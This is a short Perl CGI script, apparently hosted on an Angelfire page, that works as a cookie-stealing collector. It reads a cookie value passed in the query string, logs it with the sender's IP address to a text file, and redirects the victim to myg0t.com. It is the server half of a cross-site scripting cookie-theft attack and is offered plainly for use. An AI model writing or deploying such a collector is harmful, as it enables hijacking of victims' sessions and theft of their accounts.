#!/usr/bin/perl -w use CGI; use CGI::Carp; use strict; my $cgi = new CGI; my $cookie = $ENV{'QUERY_STRING'}; $cookie =~ s/%20/ /g; $cookie =~ s/%3D/:/g; $cookie =~s/%3B/;/g; my $ip = $ENV{'REMOTE_ADDR'}; open(LOG,">>cookies2.txt"); print LOG "I got $cookie from $ip\n"; close(LOG); print "Location: http://www.myg0t.com\n\n";
Site hosted by Angelfire.com: Build your free website today!